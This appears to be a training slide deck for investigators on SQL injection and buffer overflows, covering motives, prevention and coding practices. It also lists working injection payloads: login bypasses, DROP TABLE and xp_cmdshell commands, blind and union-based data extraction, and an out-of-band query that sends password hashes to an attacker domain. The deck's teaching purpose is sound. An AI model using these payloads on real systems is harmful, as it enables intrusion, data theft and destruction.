You are on page 1of 149

What is SQL?

• Structured Query Language


• Implemented in databases such as Microsoft
SQL (MSSQL), MySQL, Oracle and SQLite
• These are robust, versatile applications
designed to handle thousands of records in
tables
Where are these SQL DB’s ?
• Commonly they sit behind a web application. They are
the one that are queried by our request and they are the
one that should return queried data back to the client
• There is generally an authentication process require to
query the database, however…
• This process is often something that can be manipulated
• Such attack is now commonly known as SQL Injection
Definition of SQL Injection

What is SQL Injection?

• SQL injection is a technique for maliciously exploiting


applications that use client-supplied data in SQL
statements.
• Attackers trick the SQL engine into executing unintended
commands via supplying specially crafted string input,
thereby gaining unauthorized access to a database in
order to view or manipulate restricted data.
• Specifically, incorrectly validated or unvalidated string
literals are concatenated into a dynamic SQL statement,
and interpreted as code by the SQL engine.
Why do we care about it?

❑ Real World Examples


• On August 17, 2009, the United States Justice
Department charged an American citizen Albert
Gonzalez and two unnamed Russians with the theft of
130 million credit card numbers using an SQL injection
attack.
• In 2008 a sweep of attacks began exploiting the SQL
injection vulnerabilities of Microsoft's IIS web server and
SQL database server. Over 500,000 sites were
exploited.
What does it do?

• Simplest Hacks are used to bypass database level authentication.


• Botnet attacks on publicly facing web sites are frequently in two
stages:
– Stage 1: force SQL into the application to display database
metadata such as table and column structures.
– Stage 2: Use the metadata to attack the database.
• Humans often implement state 2 after getting a hit by a
botnet.
• Most common result is to insert HTML tags into database tables:
– Corrupted content is displayed in web application.
– Malicious tags result in the malware downloads to anyone
viewing a web site using inline JavaScript, iFrames, etc.,
embedded in database content.
What does it do?

SQL injection attacks can do one (or all) of the following:


➢ Expose database contents
This can have consequences that very from a simple listing
of all users and their passwords, or much more dangerous
form where all customer data including credit card
information are available to the attacker.
➢ Give access to the attacker so that he can remotely
execute system commands.
➢ Attacker can take control over the actual database
server (the worst-case scenario)
Why do they do it for?

In most cases it is all about the money, but still there is


some fine-grains to it:
• Every web attack is there for a certain purpose. Some
SQL Injections will uncover user data from a database,
some will just be a first step to more serious attacks.

• In practice, as investigators, we will be able identify


some most common SQL attack reasons.

8
Why do they do it for?

• Identifying SQL Injection Vulnerability


• The purpose is to probe a web application to discover which
parameters and user input fields are vulnerable to SQL
injection. This is something that pen-testers and web-site
owners regularly do as a precaution. How ever when a
hacker does it, it is usually the first step to compromising
your data
• Database Finger-Printing
• The purpose is to discover the type and version of database
that a web application is using and “fingerprint” the
database.
• Identification of a DB type and version that is used by a web
application allows an attacker to create database specific
attacks and maybe use some of the version dependant
exploits .

9
Why do they do it for?

▪ Mapping Database Structure


• To be able to successfully extract data from a
database, the attacker often needs to know more on
database structural information's (i.e. table names,
column names, column data types…)
• This information can be used in a follow-on attack.
▪ Extracting Data
• These types of attacks use techniques that will extract
data values from the database.
• Depending on the type of web application, this
information could be sensitive and highly desirable to
the attacker (credit cards, passwords, personal data,
etc…)
10
Why do they do it for?

• Add or Modify DB Data


– The purpose is to add or change information in a database.
An attack that is of considerable importants for us as LEA
since it questions data integrity of a compromised system.
• Creating DoS
– These attacks are aiming to shut down access to a web
application, thus denying service to other users.
– Attacks that lock or drop tables with in a database should
also be under this category.
• Detection Avoidance
– Certain attack techniques are used in order to avoid
auditing and detection of some more serious attack (maybe
in order to disable the administrator to scan the system
or/and remove backdoors)

11
Why do they do it for?

▪ Bypassing Authentication
• This attack allows the attacker to bypass database and
application authentication mechanisms.
• Bypassing them might give an opportunity to the attacker
to gain user rights and privileges associated with another
application user.
▪ Executing Remote Commands
• These types of attacks attempt to execute arbitrary
commands on the database. These commands can be
stored procedures or functions available to database
users.
▪ Privilege Escalation
• These attacks take advantage of implementation errors or
logical flaws in the database in order to escalate the
privileges of the attacker.

12
What Are The Most Common Targets?

Applications susceptible to SQL Injection typically:

• Accept user input


• Integrate user input into dynamically generated SQL statements
(e.g. dynamic SQL)
• Insufficiently sanitize user input
Input Validation As Core Problem

• This problem exist for a very long time in the world of computer
technologies.
– HTTP get and post are not secure request mechanisms and
were not designed to be secure.
– Perl CGI was vulnerable to inline Perl fragments
– All forms of buffer overflows are failures to validate user input.
• These vulnerabilities have became a common problem for sys
admins and developers.
– Web requests are typically passed to server processes as an
associative array of strings.
– The fastest way to respond to a request is to use the raw user
input.
– Injections results from poor programming practices in
applications and oversights in server software.
Consequences of Inadequate Input Validation

• Cross site scripting


• Malware injection
• Buffer overflow attacks
• Denial of Service
• SQL Injection
Application Vulnerabilities

• SQL injection and buffer overflows are methods used to


attack application and are generally caused by programming
flaws.
• SQL injection is a hacking method used to attack SQL
databases
• Buffer overflows can exist in many different types of
applications.
• SQL injection and buffer overflows are similar exploits in that
they’re both usually delivered via a user input field.
• The input field is
– where a user may enter a username and password on
a website,
– add data to a URL,
– or perform a search for a keyword in another
application.

16
Application Vulnerabilities

• Both SQL Server injection and buffer overflow


vulnerabilities are caused by the same issue:
– invalid parameters that are not verified by the
application.
• If programmers don’t take the time to validate the
variables a user can enter into a variable field, the
results can be serious and unpredictable.
• Sophisticated hackers can exploit this vulnerability,
causing an execution fault and shutdown of the system
or application, or a command shell to be executed for the
hacker.

17
Application Vulnerabilities

• SQL injection and buffer overflow countermeasures are


designed to utilize secure programming methods.
• By changing the variables used by the application code,
weaknesses in applications can be greatly minimized.

18
Buffer Overflows

• As a police officer investigating on-line hacking incidents:


– You must be able to identify different types of buffer
overflows.
– You should also know how to detect a buffer
overflow vulnerability and understand the steps a
hacker may use to perform a stack-based overflow
attack.

19
Types of Buffer Overflows

• Buffer overflows are exploits that hackers use against an


operating system or application;
• like SQL injection attacks, they’re usually targeted at user
input fields.
• A buffer overflow exploit causes
– a system to fail by overloading memory
– or executing a command shell
– or arbitrary code on the target system.

20
Types of Buffer Overflows

A buffer overflow vulnerability can be caused by:


• A lack of bounds checking
• A lack of input-validation sanitization in a variable field
(such as on a web form).
▪ If the application doesn‘t check or validate the size or
format of a variable before sending it to be stored in
memory, an overflow vulnerability exits.
▪ We can differentiate two types of buffer overflows:
• Stack based
• Heap based.

21
Types of Buffer Overflows

• The stack and the heap are storage locations for user-
supplied variables within a running program.
• Variables are stored in the stack or heap until the program
needs them.
– Stacks are static locations of memory address space.
– Heaps are dynamic memory address spaces that
occur while a program is running.
• A heap-based buffer overflow occurs in the lower part of
the memory and overwrites other dynamic variables.

22
Types of Buffer Overflows

23
Types of Buffer Overflows

▪ A call stack, or stack, is used to keep track of where in


the programming code the execution pointer should return
after each portion of the code is executed.
▪ A stack-based buffer overflow attack occurs when the
memory assigned to each execution routine is
overflowed.
▪ As a consequence of both types of buffer overflows
• A program can open:
✓ a shell
✓ a command prompt
✓ stop the execution of a program
24
Types of Buffer Overflows

25
Types of Buffer Overflows

26
Types of Buffer Overflows

27
Types of Buffer Overflows

• To detect program buffer overflow vulnerabilities that result


from poorly written source code,
✓ a hacker sends large amounts of data to the application
via a form field
✓ Waits to see what the program does as a result of his
query

Ever seen a message like this? Then you might be one of the victims…
28
Types of Buffer Overflows

• The following are the steps a hacker uses to execute a


stack-based buffer overflow:
1. Enter a variable into the buffer to exhaust the amount of
memory in the stack.
2. Enter more data than the buffer has allocated in memory
for that variable, which causes the memory to overflow or
run into the memory space for the next process.
After this we add another variable, and overwrite the return
pointer that tells the program where to return to after
executing the variable.

29
Types of Buffer Overflows

3. A program executes this malicious code variable and then


uses the return pointer to get back to the next line of
executable code.
If the hacker successfully overwrites the pointer, the program
executes the hacker’s code instead of the program code.

• Most hackers don’t need to be this familiar with the details of


buffer overflows.
• Prewritten exploits can be found on the Internet and are
exchanged between hacker groups or on public web portals
(such as Exploit-DB). Also specialized software utilities are
available for them. They require little or no previous knowledge
and allow automatization of such attackers procedures (i.e.
Metasploit, Nessus, BackTrack).

30
Preventing Buffer Overflows

• Hackers can graduate from standard buffer overflows to


redirecting the return pointer to the code of their choosing.
• A hacker must know the exact memory address and the
size of the stack in order to make the return pointer
execute their code.
• A hacker can use a No Operation (NOP) instruction,
which is just padding to move the instruction pointer and
does not execute any code.
• The NOP instruction is added to a string before the
malicious code to be executed.

31
Preventing Buffer Overflows

• If an intrusion detection system (IDS) is present on the


network, it can thwart (not allowed) a hacker who sends a
series of NOP instructions to forward to the instruction
pointer.
• To bypass the IDS, the hacker can randomly replace some
of the NOP instructions with equivalent pieces of code, such
as x++,x-;?NOPNOP.
• This example of a mutated buffer overflow attack can
bypass detection by an IDS.

32
Preventing Buffer Overflows

• Programmers should not use the built-in strcpy(), strcat(),


and streadd() C/C++ functions because they are
susceptible to buffer overflows.
• Alternatively, Java can be used as the programming
language since Java is not susceptible to buffer overflows.

33
Preventing Buffer Overflows

34
SQL Injection Classes

SQL Injection can be divided into 3 distinct classes:

• Inband - data is extracted using the same channel that is used


to inject the SQL code.
• This is the most straightforward kind of attack, in which the
retrieved data is presented directly in the application web page
• Out-of-Band - data is retrieved using a different channel (e.g.:
an email with the results of the query is generated and sent to
the tester)
• Inferential - there is no actual transfer of data, but the tester is
able to reconstruct the information by sending particular requests
and observing the resulting behaviour of the website/DB Server.

35
SQL Injection Classes

Inband:
Data is extracted using the same channel that is used to inject the SQL code.

This is the most straightforward kind of attack, in which the retrieved data is
presented directly in the application web page

So this is our Error-Based, and Union-Based SQL Injections

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

Syntax error converting the nvarchar value '[j0e]' to a column of data type int.
SQL Injection Classes

Out-of-band:

Data is retrieved using a different channel (e.g.: an email with


the results of the query is generated and sent to the tester).

This is another way of getting the data out of the server (such
as http, or dns).

http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' +


master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--
SQL Injection Classes

Inferential:
If the application returns an error message generated by an
incorrect query, then it is easy to reconstruct the logic of the
original query and therefore understand how to perform the
injection correctly.

However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query.
The latter case is known as "Blind SQL Injection".

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+’admin
'+waitfor+delay+'0:0:10'--
The above syntax will quire the SQL DB it if it's running as ’admin'
SQL Injection Tools

You can find a lot of automated tools that can help you identify
SQL Injection. But as investigators you need to be careful and
well prepared:

• Some of them are for free, and some of them cost a lot of
money
• Some of them will actually exploit your DB vulnerability
• Some of them are hacking tools that don’t care much about
being forensically sound
• Be aware of the different SQL Injection Types, since some
(most of them to be honest) of these tools might not be able
to cover it all
SQL Injection Tools

The first thing we should do in a SQL attack identification is


scanning. As mentioned before we have a wide choice of SQL
vulnerability scanners available. Here is a shortlist of
recommended tools that you can use. They are listed by the
type if SQL Injection they generally identify.

mieliekoek.pl (error based)


wpoison (error based)
sqlmap (blind by default, and union if you specify)
wapiti (error based)
w3af (error, blind)
paros (error, blind)
sqid (error)
Demo of Vulnerable Site
SQL Injection

• Generally, the purpose of SQL injection is to convince the


application to run SQL code that was not intended.
• SQL injection occurs when an application processes user-
provided data to create a SQL statement without first
validating the input.

42
SQL Injection

• This exploit can give a hacker access to a remote shell


into the server file system.
• The impact of a SQL injection attacks depends on
– where the vulnerability is in the code,
– how easy it is to exploit the vulnerability,
– what level of access the application has to the
database.
• Theoretically, SQL injection can occur in any type of
application, but it is most commonly associated with web
applications.
• The web applications are easy targets because by their
very nature they are open to being accessed from the
Internet.

43
SQL Injection

• During a web application SQL injection attack,


– The malicious code is inserted into a web form field
– Or the website’s code to make a system execute a
command shell
– Or other arbitrary commands.
• Just as a legitimate user enters queries and additions to the
SQL database via a web form,
• The hacker can insert commands to the SQL Server
through the same web form field.

44
SQL Injection

• For example:
– An arbitrary command from a hacker might open a
command prompt
– or display a table from the database.
• A database table may contain personal information such as
credit card numbers, social security numbers, or passwords.
• SQL Servers are very common database servers and used
by many organizations to store confidential data.
• This makes a SQL Server a high-value target and
therefore a system that is very attractive to hackers.

45
Finding a SQL Injection Vulnerability

• Before launching a SQL injection attack, the hacker


determines whether the configuration of the database and
related tables and variables is vulnerable.
• The steps to determine the SQL Server’s vulnerability are
as follows:
1. Using your web browser, search for a website that
uses a login page or other database input or query
fields (such as an “I forgot my password” form).
Look for web pages that display the POST or GET
HTML commands by checking the site’s source
code.

46
Finding a SQL Injection Vulnerability

2.Test the SQL Server using single quotes (‘’). Doing


so indicates whether the user input variable is
sanitized or interpreted literally by the server.
If the server responds with an error message that
says use 'a'='a' (or something similar), then it’s most
likely susceptible to a SQL injection attack.
3. Use the SELECT command to retrieve data from the
database or the INSERT command to add
information to the database.

47
Finding a SQL Injection Vulnerability

• Here are some examples of variable field text you can use
on a web form to test for SQL vulnerabilities:
– Blah’ or 1=1--
– Login:blah’ or 1=1--
– Password::blah’ or 1=1--
– http://search/index.asp?id=blah’ or 1=1--

48
Finding a SQL Injection Vulnerability

• These commands and similar variations may allow a user


to bypass a login depending on the structure of the
database.
• When entered in a form field, the commands may return
many rows in a table or even an entire database table
because the SQL Server is interpreting the terms literally.
• The double dashes near the end of the command tell
SQL to ignore the rest of the command as a comment.

49
Finding a SQL Injection Vulnerability

• Here are some examples of how to use SQL commands


to take control:
• To get a directory listing, type the following in a form field:
– Blah‘;exec master..xp_cmdshell “dir c:\*.* /s
>c:\directory.txt”--
• To create a file, type the following in a form field:
– Blah‘;exec master..xp_cmdshell “echo hacker-
was-here > c:\hacker.txt”--
• To ping an IP address, type the following in a form field:
– Blah‘;exec master..xp_cmdshell “ping
192.168.1.1”--
50
Prevention of SQL Injection

• SQL Injection can be prevented using:


– Design Principles:
• Avoiding application structures that leave apps
vulnerable
– Coding Practices:
• Preventing bad SQL fragments from being executed
• Blocking bad input/input sanitation
– Database Practices:
• Making the database less vulnerable to any type of
attack
– Infrastructure Support:
• Preventing attacks on any application
Design Principle-No Anonymous User Input Data

• Force users to create an account, which is verified with


an email.
• Use Captcha or similar graphics to text entry to prevent
automated/bot data entry into systems.
• Log all data entry by web request – who, what, where,
when and from which IP.
Design Principle - Authentication

• Eliminate all database based usernames and passwords


stores.
– A login page is the entry point into an application and must
allow anonymous data entry.
– SQL injection is frequently used to bypass security.
• Many inexpensive and free alternatives exist for
authentication stores
– OpenLDAP is easy, free, and access is through LDAP calls
and not SQL.
– Usernames and passwords can be reused in different
application without reusing a database.

Caution: Do not mix internal and external users in the


same LDAP store if possible.
Design Principle- Avoid free text where possible and never
accept HTML tags

• Constraining inputs to drop downs and formatted text


boxes simplifies validations necessary to trap SQL
injection attempts
• HTML tags are a very common malware vector.
– Better to break up input into multiple text fields.
– Use formatting options through drop downs, check
boxes and other fixed input fields.

Caution: Client side HTML and JavaScript is


bypassed very easily.
Good Coding Practice – No Dynamic SQL!

• Pure dynamic SQL serves as the most common form of SQL


injection attacks:
sqlString = “SELECT… From [myTable]
WHERE name =‘”.myInputValue.”’ “;
• Very easy to force input into a structured form using some
variation of bind values or parameterized SQL statements
– Java prepared statements
– .NET using sql bind with value parameters
– mySQLi and Pear within PHP
– Bind variables are treated as pure input and are not in general
executed.

Caution: Not a bulletproof approach, just a best practice.


Coding Practice – Strong type checking before interacting
with the database

• On the server, a request processor must perform strong


type checking:
– Ensure numbers are numbers, dates are dates,
values from form elements are correct such as
indexes from drop downs, etc.
– Limit the range of values accepted if possible.
– Use the parsing functions that come natively with
many programming languages if available such as in
Java or .NET
– It is very important in weakly typed languages such as
PHP to force type checking.
Coding Practice – Enforce input lengths and formats

• Limit the size of all strings on both the client and the server.
– Setting the length on a input box or using JavaScript is
easily bypassed.
– Reject any request where any value exceeds a maximum
expected length.
• Ensure any string inputs conform to input masks whenever
possible, for example:
– When strings are used to describe numbers to preserve
leading zeros ensure all characters are numbers
– Filter for any unexpected characters.

Caution: Rules must be implemented on the client and on


the server.
Coding Practice – Sanitize all user input before any other
processing

• The safest and most secure practice is to iterate through


a web request and filter all unexpected characters.
– If all special characters are removed, function calls,
URI encoding, and other common ways of adding
SQL predicates or embedded HTML tags are simply
blocked.
• Remove unwanted spaces
• Reject requests with anomalies and log the activity for
analysis.
Coding Practice – Mask all errors from the user with user
friendly output

• Never display sql errors or other raw system errors back


to the user.
– Can provide additional attack vectors for hackers.
• Whenever an exception occurs, display a generic
message, and log the actual error and user input.
• Whenever a request fails validation or sanitation checks,
use a generic response, terminate the user’s session,
and log the error in detail.

Caution: NEVER echo user input back to the user


without sanitizing the request. This is the most
common form of cross site scripting.
Coding Practice – Use Detailed Logs

• Detailed logging introduces additional storage and


process overhead, but it is invaluable in debugging and
in identifying security weaknesses.
• Unexpected conditions, rejected requests, and similar
errors are usually the first sign your web application is
under attack.
Coding Practices – Use frameworks

• Every popular web development platform has validation


frameworks.
• Leverage existing frameworks to implement validations:
– Zend for PHP
– Several frameworks for Java
• Frameworks can centralize many security related tasks.
• .NET has an emerging MVC model which should help
centralize tasks like input sanitation.
Database Practice – Use two accounts

• Create Two accounts:


– Database Owner
• Has rights over all the objects in a database or schema.
• Equivalent to DBA level access for a database/schema.
• Used to build out and maintain an application database.
• Never used by web applications.
– Application Account/Database proxy account
• Has minimal rights needed for application:
– All rights to each object are explicitly declared.
– Owns no objects directly.
– No access to metadata in db platform.
– Restricted login locations if possible.
Database Practices – Strong Typing

• Columns must be strongly typed:


– Numbers as Numbers.
– Characters limited to the exact maximum required.
– Dates stored as dates
• If performance is acceptable use check constraints or
triggers:
– Force format masks and character ranges such as 0-
9 for SSN, etc.
• Use look up tables for reference values and enforce
foreign keys.
Database Practices – Stored Procedures and views

• Views:
– Only expose those columns needed by the
application.
– Allow for more granular column by column
permissions.
• Stored Procedures:
– Application account get execution rights only.
• All tables and views are invisible.
– Can reduce number of database interactions.
– Simplifies transaction management.
– Not appropriate for all application environments/tools.
Infrastructure Practice – Deploy an IDS specifically
checking for SQL Injection

• Several IDS systems exist to specifically monitor web


traffic for SQL Injection
– Each request is examined for SQL injection
signatures.
– Bad requests are filtered and logged.
• Protects all applications against most common errors.
• Excellent first step until all web applications can be
reviewed for vulnerabilities.

Caution: Signatures will always eventually be defeated.


Infrastructure Practice – Do automated log scanning

• Use a central logging tool looking for SQL Injection


behavior:
– SQL Errors
– Queries against metadata from web apps
• Use manual scanning tools such as grep, awk, and log
parsers to look for unauthorized queries/sql requests
Infrastructure Practice – Use security scanning tools

• The best security measure is one that catches problems


before they are revealed.
• As part of QAT or UAT testing, applications must be
automatically scanned for vulnerabilities.
• Reveals vulnerabilities above and beyond simple
penetration testing.
• Many excellent products:
– Rational APPSCAN from IBM (was Watchfire)
– Acunetix
Platform Specific Issues

• PHP, Java, and other web scripting languages can sanitize


users requests very easily.
– Requests can be manipulated and values overwritten.
– MVC type models in Java and include directives in other
scripting languages make this trivial.
• .NET 2.0 and higher poses a tougher challenge because
request objects are read only
– Implementing sanitation undoes many of the advantages
of .NET programming.
– Using ISAPI type filters that pre-process requests requires
a great deal of redundant coding.
• Weak typing in many of the Open Source web scripting
languages introduces additional demands for vigilance in
these platforms.
Conclusion

• Security is a continual process of vigilance.


– Every block/measure eventually has a counter
• Good habits within application development and design
can avoid most injection/overflow type exploits.
• Application security requires action by developers,
designers and administrators
• Most SQL Injection attacks can be blocked with very
simple measures, which can be labor intensive to
implement.
References

• Regular Expressions for filtering:


– http://www.securityfocus.com/infocus/1768
• Example of source hacking:
– http://video.google.com/videosearch?q=sql+injection&
oe=utf-8&rls=org.mozilla:en-US:official&client=firefox-
a&um=1&ie=UTF-
8&sa=X&oi=video_result_group&resnum=5&ct=title#
• Application Scanning Software:
– http://www-01.ibm.com/software/awdtools/appscan/
Important Syntax

COMMENTS: --
Example: SELECT * FROM `table` --selects
everything

LOGIC: ‘a’=‘a’
Example: SELECT * FROM `table` WHERE ‘a’=‘a’

MULTI STATEMENTS: S1; S2


Example: SELECT * FROM `table`; DROP TABLE
`table`;
Example Website
Example Website

timbo317
cse7330

SELECT * FROM `login` WHERE `user`=‘timbo317’ AND


`pass`=‘cse7330’
Login Database Table

user pass
timbo317 cse7330

What Could Go Wrong??


Example Hack

’ OR ‘a’=‘a
’ OR ‘a’=‘a

SELECT * FROM `login` WHERE `user`=‘’ OR ‘a’=‘a’ AND


`pass`=‘’ OR ‘a’=‘a’
It Gets Worse!

’; DROP TABLE `login`; --

SELECT * FROM `login` WHERE `user`=‘’; DROP TABLE `login`; --’


AND
`pass`=‘’
All Queries are Possible

SELECT * FROM `login` WHERE `user`=‘’; INSERT INTO


`login` ('user','pass') VALUES ('haxor','whatever');--’ AND
`pass`=‘’

SELECT * FROM `login` WHERE `user`=‘’; UPDATE


`login` SET `pass`=‘pass123’ WHERE `user`=‘timbo317’;--’
AND `pass`=‘’
Live Demonstration

• http://www.timmothyboyd.com/cse7330

How Can You Prevent This??


Prevention

• Logic to allow only numbers / letters in username and


password.
• How should you enforce the constraint?
SERVER SIDE.
• ‘ESCAPE’ bad characters.
’ becomes \’
• READ ONLY database access.
• Remember this is NOT just for login areas!
NOT just for websites!!
Prevalence of SQL Injection

Web Application Security Consortium study (2007)

An investigation conducted by the Web Application Security


Consortium shows that more than 7% of analyzed sites could be
compromised automatically. Specifically 7.72% of web applications
analyzed had a high severity vulnerability detected during scanning.

The most prevalent vulnerabilities are Cross-Site Scripting,


Information Leakage, SQL Injection and Predictable Resource
Location.

Web Application Security Statistics Project 2007


http://www.webappsec.org/projects/statistics/
dynamic SQL (client-side)

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = "
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Generating SQL statements client-side is common in


many applications
dynamic SQL (client-side example)

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = “ User Input
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Note the user input


dynamic SQL – question 1

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = "
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Question:

If the user provides the following input, what SQL statement is


generated?

email address: scott.tiger@oracle.com


password: 123xyz456
dynamic SQL – answer 1

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = "
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Answer:

SELECT username FROM Users WHERE


email_address = ‘scott.tiger@oracle.com’
AND password = ‘123xyz456’
dynamic SQL – question 2

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = "
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Question:

If the user provides the following input, what SQL statement is


generated?

email address: scott.tiger@oracle.com’’ OR 1 = 1 --


password: 123xyz456
dynamic SQL – answer 2

String sql;
SqlCommand cmd;
...
sql = "SELECT username FROM Users WHERE email_address = "
sql += "''“ + txtEmailAddress.text + "''"
sql += " AND password = "
sql += "''“ + txtPassword.text + "''"
...
cmd = new SQLCommand (sql, conn)

Answer:

SELECT username FROM Users WHERE email_address = ‘scott.tiger@oracle.com’ OR 1


=1
-- ‘ AND password = ‘123xyz456’

This is the ‘Hello World’ of SQL Injection !


SQL Injection – basic techniques

• Appending an always ‘true’ condition to the SQL


statement:

input: x’ OR ‘x’ = ‘x

• Append a UNION statement to the SQL statement:


input: x’ UNION select username from sysusers - -

• Subquery added to existing statement:

input: x’ AND 1=(SELECT COUNT(*) FROM


employees); - -
SQL Injection – basic techniques

• Append erroneous SQL to the SQL statement with the goal of


causing an error. Based upon the error message, one can
deduce if the application is scrubbing inputted quotes correctly:

input: x’x

• Append a 2nd SQL statement to the 1st (e.g. piggy-backing)

input: x’; DROP TABLE EMPLOYEES; - -


SQL Injection – modern variants

• Modern attacks upon IT systems often combine vectors:


– SQL Injection & XSS (Cross-Site Scripting)
• Attacker injects web site ‘content’ (e.g. the script) into the database
• Infected site content is rendered to the web user when next they visit the
web site
• User unknowingly executes infected content (e.g. the script)

• SQL Injection using a cast operation


• Malicious SQL is hex-encoded
• An embedded CAST operator is also included in the injection to decode
the malicious SQL at the appropriate time

• Mass Injection attacks


• Automated tools are used to scour the internet for vulnerable web
applications
• SQL Injection is then used by the tool to compromise the application’s
database
• Entire process is often fully automated
Additional Resources

• An introductory level tutorial on SQL Injection is available at the


Oracle Corporation's Server Technologies Curriculum site
http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm

• An excellent demonstration of how SQL Injection can be used


to breach a web application. Written by a contractor as he
performs a white-hat hack of a client’s site, it provides a step-
by-step explanation of the SQL Injection techniques (including
code) used to map the underlying data structure, introduce
erroneous data, and ultimately breach the site.
http://unixwiz.net/techtips/sql-injection.html

• One of many SQL Injection cheat sheets:


http://ha.ckers.org/sqlinjection/
Questions?

Exploits Of A Mom
http://xkcd.com/327/
Methodology

How I test for SQL Injection

Identify
* Identify The Injection (Tool or Manual)

* Determine Injection Type (Integer or String)


Attack
* Error-Based SQL Injection (Easiest)

* Union-Based SQL Injection (Great for data extraction)

* Blind SQL Injection (Worst case....last resort)


Why Focus On Manual Testing

Now that you understand that there are 3 primary types of SQL Injection....

- Can you understand why being able to test for SQLI manually is important?

- SQL Injection Scanners will generally look for 1 type of injection.....


- The scanner may tell you the site isn't vulnerable when it really is.
Determine the Injection Type

Is it integer or string based?

Integer Injection:
http://[site]/page.asp?id=1 having 1=1--

Column '[COLUMN NAME]' is invalid in the select list because it is not


contained in an aggregate function and there is no GROUP BY clause.

String Injection:
http://[site]/page.asp?id=x' having 1=1--

Column '[COLUMN NAME]' is invalid in the select list because it is not


contained in an aggregate function and there is no GROUP BY clause.

Determining this is what determines if you need a ' or not.


Let’s start with MS-SQL syntax

I would say that MS-SQL Injection is probably the most fun ;)

There is always the possibility of getting access to a stored procedure


like xp_cmdshell
.......muahahahahahahahahahaha

We'll spend a little bit of time on MySQL, and not too much time on Oracle as
its injection syntax is fairly similar to MS-SQL. But primarily for the sake of time
we'll focus on MS-SQL.
Error-Based SQL Injection Syntax for extracting the
USER

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

Syntax error converting the nvarchar value '[DB USER]' to a column of


data type int.

Grab the database user with USER


Grab the database name with DB_NAME
Grab the servername with @@servername
Grab the Windows/OS version with @@version
Union-Based SQL Injection Syntax for extracting the USER

http://[site]/page.asp?id=1 UNION SELECT ALL 1--

All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--

All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--

All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--

NO ERROR

http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--


Blind SQL Injection Syntax for extracting the USER

3 - Total Characters

http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--


Valid page returns immediately

http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--


Valid page returns immediately

http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--


Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER

D - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'
Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--


Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--


Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--


Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER

B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds)


Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER

O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--


Valid page returns immediately

http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--


Valid page returns after 10 second delay

Database User = DBO


MySQL syntax

With MySQL you really only have two types of attack:

* Union-Based
* Blind
MySQL
With MySQL you will typically use union or true/false blind SQL Injection so
you really need to know a lot about the DB you are attacking such as:

* number of columns
* column names
* path to website

So you will need to enumerate this information first.

The UNION operator is used to combine the result-set of two or more SELECT
statements. Notice that each SELECT statement within the UNION must have
the same number of columns. The columns must also have similar data types.
Also, the columns in each SELECT statement must be in the same order.
Column number enumeration

http://[site]/page.php?id=1 order by 10/* <-- gives Unknown column ‘10'


in 'order clause'

http://[site]/page.php?id=1 order by 5/* <-- gives a valid page

http://[site]/page.php?id=1 order by 6/* <-- gives Unknown column '6' in


'order clause'

So now we know there are 5 columns.

By the way you can do this with MSSQL as well.


Building the union

http://[site]/page.php?id=1 union all select 1,2,3,4,5/* <-- gives a valid page

Change the first part of the query to a null or negative value so we can see
what field will echo data back to us.

